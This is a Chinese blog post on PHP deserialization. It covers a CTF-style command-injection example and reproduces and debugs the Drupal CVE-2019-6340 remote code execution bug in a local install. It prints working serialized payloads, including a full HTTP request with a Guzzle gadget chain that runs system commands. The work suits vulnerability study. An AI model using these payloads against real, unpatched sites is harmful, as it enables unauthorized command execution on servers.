PHP代码审计之反序列化攻击链CVE-2019-6340漏洞研究

2023-12-24 23:48:11

关键词

???????? php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel

前言

????????简简单单介绍下php的反序列化漏洞

php反序列化漏洞简单示例

来看一段简单的php反序列化示例

<?php

class pingTest {
        public $ipAddress = "127.0.0.1";
        public $isValid = False;
        public $output = "";

        function validate() {
                if (!$this->isValid) {
                        if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
                        {
                                $this->isValid = True;
                        }
                }
                $this->ping();

        }

        public function ping()
        {
                if ($this->isValid) {
                        $this->output = shell_exec("ping -c 3 $this->ipAddress");
                }
        }

}

if (isset($_POST['obj'])) {
        $pingTest = unserialize(urldecode($_POST['obj']));
} else {
        $pingTest = new pingTest;
}

$pingTest->validate();

echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
                var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
                object = object.substr(object.indexOf(\"{\"),object.length);
                object = \"O:8:\\\"pingTest\\\":1:\" + object;
                document.forms[\"ipform\"].obj.value = object;
                document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
    <div class=\"form-holder\">
        <div class=\"form-content\">
            <div class=\"form-items\">
                <h3>Ping Test</h3>

                <form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>

                    <div class=\"col-md-12\">
                        <input name=\"obj\" type=\"hidden\" value=\"\">
                       <input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
                    </div>
                <br />
                    <div class=\"form-button mt-3\">
                        <input type=\"submit\" value=\"Ping!\">
                        <br /><br /><textarea>$pingTest->output</textarea>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>
</div>
</body>
</html>";

?>

这里接收一个名为obj的post 参数，对其进行unserialize，调用反序列化后对象的validate方法，不过之要isValid进行判断是true就可以执行shell_exec函数，并且里面的ipAddress是拼接上去的，我们可以用逻辑符造成任意命令执行。

反序列化的对象我们可以指定，那么对象之中的属性值我们自然也可以指定。注意这里说的是对象的的属性值，是基于类中有的。你若想加一个属性或者重写一个方法那指定不行（温习下php的反序列化）。

正常的用户的请求是这样的

Obj:O:8:"pingTest":1:{s:9:"ipAddress";s:9:"127.0.0.1";}

这里的0表示的对象（传参是对象），后面的8是指类名长度为8，1表示我有一个成员属性 s:9表示字符串有9个长度(ipaddress)

xxx;xxxx 代表一个key:val

攻击payload生成

<?php
  class pingTest {
        public $ipAddress = "127.0.0.1 | id";
        public $isValid = True;
        }
$obj = new pingTest();
echo serialize($obj);
?>

O:8:"pingTest":2:{s:9:"ipAddress";s:14:"127.0.0.1 | id";s:7:"isValid";b:1;}

如此一来就可以过if条件判断，可以执行命令id了

反序列化漏洞小知识

php是一个弱类型的语言，这里的弱是指什么意思呢！对比下C语言和java语言在声明变量的时候必须指定变量的数据类型，然而在其它一些语言上则根本不用这样做如python PHP，只需有一个变量名就可以存任意数据类型的参数，这点我很不喜欢，太不规范了，我想这也是照成=与==漏洞的原因吧，

回到PHP反序列化，为什么我要说这个机制呢，因为实际中（非ctf）都是对象中存储对象(像上面的$isValid只能存bool类型的值吗当然不string int 甚至是一个对象它都可以存储)，对象又再次存储对象呢。由此可能造成一条反序列化链。

此外还有属于PHP反序列化的魔术方法，这也很好理解。要在对对象建立后优先执行一些代码如初始化之类的，执行方法前去执行一些代码，对象用完后执行一些代码如销毁。这就是一个切面编程的思想（哈哈哈不知道它们谁先出现，也许程序员心有灵犀）。其中魔术方法会根据对象里的属性值去执行某种逻辑，或是判断或是调用。这里如果没有严格过滤，就有可能照成一条倒是命令执行利用链。

Drupalcms——CVE-2019-6340漏洞复现

版本影响Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.

https://www.drupal.org/sa-core-2019-003https://www.drupal.org/sa-core-2019-003

根据漏洞影响版本，我们下载8.6.9

https://www.drupal.org/project/drupal/releases/8.6.9https://www.drupal.org/project/drupal/releases/8.6.9

安装cms

安装完成后，打开主页面

来到扩展将web services 的所有扩展打开

payload 测试

POST /drupal-8.6.9/node/?_format=hal_json HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 642
Content-Type: application/hal+json
Accept-Encoding: gzip

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href":"http://127.0.0.1/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}

?注意了options的内容为php序列化的内容，所以s:6:"whoami"；s表示string参数类型，6表是长度为6,whoami就是我们执行的命令了，改成其他的命令记得把长度写发生响应的改变。

?结果显示whoami已经执行，权限是system的权限，这也是windows搭建web的弊端了！

CVE-2019-6340代码调试分析

打开index.php

<?php

/**
 * @file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * All Drupal code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt files in the "core" directory.
 */

use Drupal\Core\DrupalKernel;
//DrupalKernel 类是 Drupal 的核心引导类，负责初始化和管理整个 Drupal 应用程序的生命周期。
use Symfony\Component\HttpFoundation\Request;
//Symfony\Component\HttpFoundation\Request 类是 Symfony 框架中的一个组件，用于处理和封装 HTTP 请求。
$autoloader = require_once 'autoload.php';
$kernel = new DrupalKernel('prod', $autoloader);
// 加载 Drupal 的自动加载器和内核。
//$autoloader 是自动加载器对象，用于自动加载应用程序中的类文件

$request = Request::createFromGlobals();
// 创建一个新的 HTTP 请求对象。
//这个方法会自动获取当前请求的各种信息，如请求方法、URL、头部信息等，并将其封装在一个 Request 对象中


$response = $kernel->handle($request);
// 处理请求并获取响应对象。
//调用了 Drupal 内核对象的 handle() 方法，用于处理当前请求并生成一个响应对象。这个过程包括路由匹配、控制器调用、模板渲染等操作，具体实现方式可以参考 Drupal 的路由和控制器系统。

$response->send();
// 将响应内容发送给客户端。

$kernel->terminate($request, $response);
// 结束请求处理过程，清理资源。

打上断点进入$response = $kernel->handle($request);

 public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = TRUE) {
    // Ensure sane PHP environment variables.
    static::bootEnvironment();//调用 bootEnvironment() 方法来确保 PHP 环境变量的正确性。

    try {
      $this->initializeSettings($request);//尝试初始化设置（initializeSettings）。

      // Redirect the user to the installation script if Drupal has not been
      // installed yet (i.e., if no $databases array has been defined in the
      // settings.php file) and we are not already installing.
      if (!Database::getConnectionInfo() && !drupal_installation_attempted() && PHP_SAPI !== 'cli') {
        $response = new RedirectResponse($request->getBasePath() . '/core/install.php', 302, ['Cache-Control' => 'no-cache']);
      }//如果数据库连接信息不存在且没有进行 Drupal 安装尝试，并且不是在命令行环境下运行，则重定向用户到安装脚本（install.php）
      else {//否则，调用 boot() 方法进行启动，并调用 $this->getHttpKernel()->handle($request, $type, $catch) 处理请求
        $this->boot();
        $response = $this->getHttpKernel()->handle($request, $type, $catch);//断点进入
      }
    }
    catch (\Exception $e) {
      if ($catch === FALSE) {
        throw $e;
      }

      $response = $this->handleException($e, $request, $type);
    }

    // Adapt response headers to the current request.
    $response->prepare($request);

    return $response;
  }

中间省略......... 咱们直接来到

REST API request.部分

/**
 * Handles a REST API request.
 *
 * @param \Drupal\Core\Routing\RouteMatchInterface $route_match
 *   The route match.
 * @param \Symfony\Component\HttpFoundation\Request $request
 *   The HTTP request object.
 * @param \Drupal\rest\RestResourceConfigInterface $_rest_resource_config
 *   The REST resource config entity.
 *
 * @return \Drupal\rest\ResourceResponseInterface|\Symfony\Component\HttpFoundation\Response
 *   The REST resource response.
 */
public function handle(RouteMatchInterface $route_match, Request $request, RestResourceConfigInterface $_rest_resource_config) {
  $resource = $_rest_resource_config->getResourcePlugin();
    
  $unserialized = $this->deserialize($route_match, $request, $resource);//开始反序列化了打上断点进入调试
    
  $response = $this->delegateToRestResourcePlugin($route_match, $request, $unserialized, $resource);
  return $this->prepareResponse($response, $_rest_resource_config);
}

该方法是 Drupal REST API 模块的请求处理程序。它接收三个参数：RouteMatchInterface $route_match 表示当前路由匹配的对象，Request $request 表示当前 HTTP 请求对象，RestResourceConfigInterface $_rest_resource_config 表示当前的 REST 资源配置实体。

具体逻辑如下：

首先，从 $rest_resource_config 中获取相应的资源插件（resource plugin）。
然后，使用 $this->deserialize() 方法对请求中的数据进行反序列化，并将结果保存在 $unserialized 变量中。
接下来，调用 $this->delegateToRestResourcePlugin() 方法委托给资源插件进行进一步的处理，并将结果保存在 $response 变量中。
最后，使用 $this->prepareResponse() 方法对响应进行处理和准备，并将其返回。

需要注意的是，该方法中的 $this->deserialize()、$this->delegateToRestResourcePlugin() 和 $this->prepareResponse() 方法并未在该代码片段中定义，它们可能是该类的其他成员方法或从其他地方引入的依赖项。

总体上，该方法的作用是将 HTTP 请求委托给指定的 REST 资源插件进行处理，并返回处理后的响应。

进入deserialize函数

protected function deserialize(RouteMatchInterface $route_match, Request $request, ResourceInterface $resource) {
  // Deserialize incoming data if available.
  $received = $request->getContent();
//首先，从请求对象中获取请求的内容，并将其保存在 $received 变量中,这个变量可控
  $unserialized = NULL;
  if (!empty($received)) {
     //获取规范化的请求方法和请求内容类型。
    $method = static::getNormalizedRequestMethod($route_match);
    $format = $request->getContentType();//得到参数的方法 重点分析一下

     //从资源插件定义中获取相关信息。
    $definition = $resource->getPluginDefinition();

    // First decode the request data. We can then determine if the
    // serialized data was malformed.
    try {
      $unserialized = $this->serializer->decode($received, $format, ['request_method' => $method]);//断点进入
    }
    catch (UnexpectedValueException $e) {
      // If an exception was thrown at this stage, there was a problem
      // decoding the data. Throw a 400 http exception.
      throw new BadRequestHttpException($e->getMessage());
    }

    // Then attempt to denormalize if there is a serialization class.
    if (!empty($definition['serialization_class'])) {
      try {
        $unserialized = $this->serializer->denormalize($unserialized, $definition['serialization_class'], $format, ['request_method' => $method]);//断点分析
      }
      // These two serialization exception types mean there was a problem
      // with the structure of the decoded data and it's not valid.
      catch (UnexpectedValueException $e) {
        throw new UnprocessableEntityHttpException($e->getMessage());
      }
      catch (InvalidArgumentException $e) {
        throw new UnprocessableEntityHttpException($e->getMessage());
      }
    }
  }

  return $unserialized;
}

......

进入decodingImpl的decode方法

public function decode($data, $format, array $context = array())
{
     // 解析上下文参数
    $context = $this->resolveContext($context);

    // 从上下文中获取 JSON 解码时的相关参数
    $associative = $context['json_decode_associative'];
    $recursionDepth = $context['json_decode_recursion_depth'];
    $options = $context['json_decode_options'];

    // 使用 json_decode 函数对数据进行解码
    $decodedData = json_decode($data, $associative, $recursionDepth, $options);
/*将 $associative 参数设置为 true。这意味着解码结果将被转换为关联数组而不是对象
限制递归深度512
$options 参数来设置 JSON 解码选项
*/
	// 检查解码过程中是否出现错误
    if (JSON_ERROR_NONE !== json_last_error()) {
        throw new NotEncodableValueException(json_last_error_msg());
    }
  	// 返回解码后的数据
    return $decodedData;
}

.....

denormalize方法调入

//这段代码是Symfony框架的DenormalizerInterface接口方法denormalize()的实现。
public function denormalize($data, $type, $format = null, array $context = array())
{
    // 检查是否已注册至少一个normalizer
    if (!$this->normalizers) {
        throw new LogicException('You must register at least one normalizer to be able to denormalize objects.');
    }

    if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
        // 调用normalizer的denormalize方法进行反序列化操作
        return $normalizer->denormalize($data, $type, $format, $context);//断点调试
    }

    throw new NotNormalizableValueException(sprintf('Could not denormalize object of type %s, no supporting normalizer found.', $type));
}

进入

public function denormalize($data, $class, $format = NULL, array $context = []) {
  // Get type, necessary for determining which bundle to create.
  if (!isset($data['_links']['type'])) {
    throw new UnexpectedValueException('The type link relation must be specified.');
  }

  // Create the entity.
  $typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);//断点分析 需要重点关注一下
    
  $entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);
  $default_langcode_key = $entity_type->getKey('default_langcode');
  $langcode_key = $entity_type->getKey('langcode');
  $values = [];

  // Figure out the language to use.
  if (isset($data[$default_langcode_key])) {
    // Find the field item for which the default_langcode value is set to 1 and
    // set the langcode the right default language.
    foreach ($data[$default_langcode_key] as $item) {
      if (!empty($item['value']) && isset($item['lang'])) {
        $values[$langcode_key] = $item['lang'];
        break;
      }
    }
    // Remove the default langcode so it does not get iterated over below.
    unset($data[$default_langcode_key]);
  }

  if ($entity_type->hasKey('bundle')) {
    $bundle_key = $entity_type->getKey('bundle');
    $values[$bundle_key] = $typed_data_ids['bundle'];
    // Unset the bundle key from data, if it's there.
    unset($data[$bundle_key]);
  }

  $entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);

  // Remove links from data array.
  unset($data['_links']);
  // Get embedded resources and remove from data array.
  $embedded = [];
  if (isset($data['_embedded'])) {
    $embedded = $data['_embedded'];
    unset($data['_embedded']);
  }

  // Flatten the embedded values.
  foreach ($embedded as $relation => $field) {
    $field_ids = $this->linkManager->getRelationInternalIds($relation);
    if (!empty($field_ids)) {
      $field_name = $field_ids['field_name'];
      $data[$field_name] = $field;
    }
  }

  $this->denormalizeFieldData($data, $entity, $format, $context);//断点进入

  // Pass the names of the fields whose values can be merged.
  // @todo https://www.drupal.org/node/2456257 remove this.
  $entity->_restSubmittedFields = array_keys($data);

  return $entity;
}

.......

public function denormalize($data, $class, $format = NULL, array $context = []) {
  if (!isset($context['target_instance'])) {
    throw new InvalidArgumentException('$context[\'target_instance\'] must be set to denormalize with the FieldItemNormalizer');
  }
  if ($context['target_instance']->getParent() == NULL) {
    throw new InvalidArgumentException('The field item passed in via $context[\'target_instance\'] must have a parent set.');
  }

  $field_item = $context['target_instance'];

  // If this field is translatable, we need to create a translated instance.
  if (isset($data['lang'])) {
    $langcode = $data['lang'];
    unset($data['lang']);
    $field_definition = $field_item->getFieldDefinition();
    if ($field_definition->isTranslatable()) {
      $field_item = $this->createTranslatedInstance($field_item, $langcode);
    }
  }

  $field_item->setValue($this->constructValue($data, $context));
  return $field_item;
}

到setValue

public function setValue($values, $notify = TRUE) {
  // Treat the values as property value of the main property, if no array is
  // given.
  if (isset($values) && !is_array($values)) {
    $values = [static::mainPropertyName() => $values];
  }
  if (isset($values)) {
    $values += [
      'options' => [],
    ];
  }
  // Unserialize the values.
  // @todo The storage controller should take care of this, see
  //   SqlContentEntityStorage::loadFieldItems, see
  //   https://www.drupal.org/node/2414835
  if (is_string($values['options'])) {
    $values['options'] = unserialize($values['options']);//漏洞触发点
  }
  parent::setValue($values, $notify);
}

至此终于找到漏洞促发点了！options为可控变量，对其进行unserialize 已经是反序列化漏洞形成的前提了，现在我们只需找出这在个cms库中存在的一条反序列化漏洞链就可以rce了

Guzzle库的序列化漏洞利用链

利用Drupal自带的Guzzle库

分析FnStream 类与?HandlerStack类

class FnStream implements StreamInterface
{
    /** @var array */
    private $methods;

    /** @var array Methods that must be implemented in the given array */
    private static $slots = ['__toString', 'close', 'detach', 'rewind',
        'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
        'isReadable', 'read', 'getContents', 'getMetadata'];

    /**
     * @param array $methods Hash of method name to a callable.
     */
    public function __construct(array $methods)
    {
        $this->methods = $methods;

        // Create the functions on the class
        foreach ($methods as $name => $fn) {
            $this->{'_fn_' . $name} = $fn;
        }
    }

    /**
     * Lazily determine which methods are not implemented.
     * @throws \BadMethodCallException
     */
    public function __get($name)
    {
        throw new \BadMethodCallException(str_replace('_fn_', '', $name)
            . '() is not implemented in the FnStream');
    }

    /**
     * The close method is called on the underlying stream only if possible.
     */
    public function __destruct()
    {
        if (isset($this->_fn_close)) {
            call_user_func($this->_fn_close);//反序列化可触发这个类
        }//call_user_func("resolve") 调用function
    }

    /**
     * Adds custom functionality to an underlying stream by intercepting
     * specific method calls.
     *
     * @param StreamInterface $stream  Stream to decorate
     * @param array           $methods Hash of method name to a closure
     *
     * @return FnStream
     */
    public static function decorate(StreamInterface $stream, array $methods)
    {
        // If any of the required methods were not provided, then simply
        // proxy to the decorated stream.
        foreach (array_diff(self::$slots, array_keys($methods)) as $diff) {
            $methods[$diff] = [$stream, $diff];
        }

        return new self($methods);
    }

    public function __toString()
    {
        return call_user_func($this->_fn___toString);
    }

    public function close()
    {
        return call_user_func($this->_fn_close);
    }

    public function detach()
    {
        return call_user_func($this->_fn_detach);
    }

    public function getSize()
    {
        return call_user_func($this->_fn_getSize);
    }

    public function tell()
    {
        return call_user_func($this->_fn_tell);
    }

    public function eof()
    {
        return call_user_func($this->_fn_eof);
    }

    public function isSeekable()
    {
        return call_user_func($this->_fn_isSeekable);
    }

    public function rewind()
    {
        call_user_func($this->_fn_rewind);
    }

    public function seek($offset, $whence = SEEK_SET)
    {
        call_user_func($this->_fn_seek, $offset, $whence);
    }

    public function isWritable()
    {
        return call_user_func($this->_fn_isWritable);
    }

    public function write($string)
    {
        return call_user_func($this->_fn_write, $string);
    }

    public function isReadable()
    {
        return call_user_func($this->_fn_isReadable);
    }

    public function read($length)
    {
        return call_user_func($this->_fn_read, $length);
    }

    public function getContents()
    {
        return call_user_func($this->_fn_getContents);
    }

    public function getMetadata($key = null)
    {
        return call_user_func($this->_fn_getMetadata, $key);
    }
}

class HandlerStack
{
    /** @var callable */
    private $handler;

    /** @var array */
    private $stack = [];

    /** @var callable|null */
    private $cached;

    ....

    /**
     * @param callable $handler Underlying HTTP handler.
     */
    public function __construct(callable $handler = null)
    {
        $this->handler = $handler;
    }

    /**
     * Invokes the handler stack as a composed handler
     *
     * @param RequestInterface $request
     * @param array            $options
     */
    public function __invoke(RequestInterface $request, array $options)
    {
        $handler = $this->resolve();

        return $handler($request, $options);
    }

  .........

    /**
     * Compose the middleware and handler into a single callable function.
     *
     * @return callable
     */
    public function resolve()
    {
        if (!$this->cached) {
            if (!($prev = $this->handler)) {
                throw new \LogicException('No handler has been specified');
            }

            foreach (array_reverse($this->stack) as $fn) {
                $prev = $fn[0]($prev);
            }

            $this->cached = $prev;
        }

        return $this->cached;
    }
......

若$fn[0]为system $prev 也可控则攻击链成立

"O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"

"O:24:"GuzzleHttp\Psr7\FnStream"(类名24个长度):2(2个属性):{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods"（第一个属性为FnStream类下的methods赋值为数组）;a:1(数组一个):{s:5:"close"（key为close）;a:2（value为数组属性有两个）:{i:0（第一个为对象）;O:23:"GuzzleHttp\HandlerStack":3（有三个属性成员）:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler（第一个为handler）";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack（第二个为stack是数组）";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7（第二个为字符串）:"resolve";}}（结束）s:9:"fn_close"（第二个属性为fn_close）;a:2:{i:0;r:4（引用类型）;i:1;s:7:"resolve";}}（fn_close=resolve 调用resolve方法）"

大致长成这个样子

如此一来在call_user_func($this->_fn_close);的时候

就会调用resolve函数按照机制优先从本类的funtion去寻找，没有找到会从引用的对象中找，这就找到了methods存储的对象中的方法，（PHP语言为弱类型一个变量名可存任意类型的数据）。于是乎来到了GuzzleHttp\HandlerStack对象下的resolve方法，当然这个对象的属性也是可控的，$stack为数组内有system字符串之后遍历到$fn，拼接($prev) $prev有本对象的$handler赋值，如此一来参数可控，php反序列化恶意链成立造成命令执行。

文章来源:https://blog.csdn.net/shelter1234567/article/details/135187595
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